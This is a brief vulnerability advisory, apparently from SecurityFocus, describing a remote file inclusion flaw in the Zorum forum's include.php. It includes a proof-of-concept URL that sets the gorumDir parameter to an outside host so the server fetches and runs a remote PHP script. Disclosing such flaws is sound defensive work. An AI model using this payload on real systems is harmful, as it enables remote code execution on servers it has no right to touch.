source: https://www.securityfocus.com/bid/6669/info

It has been reported that Zorum may allow remote users to influence to location of PHP includes. Because of this, it is possible for a remote user to include an external arbitrary PHP script containing commands that may be carried out on the vulnerable host.

http://[target]/[forum_dir]/include.php?gorumDir=http://example.com/
-->
include http://example.com/group.php on remote server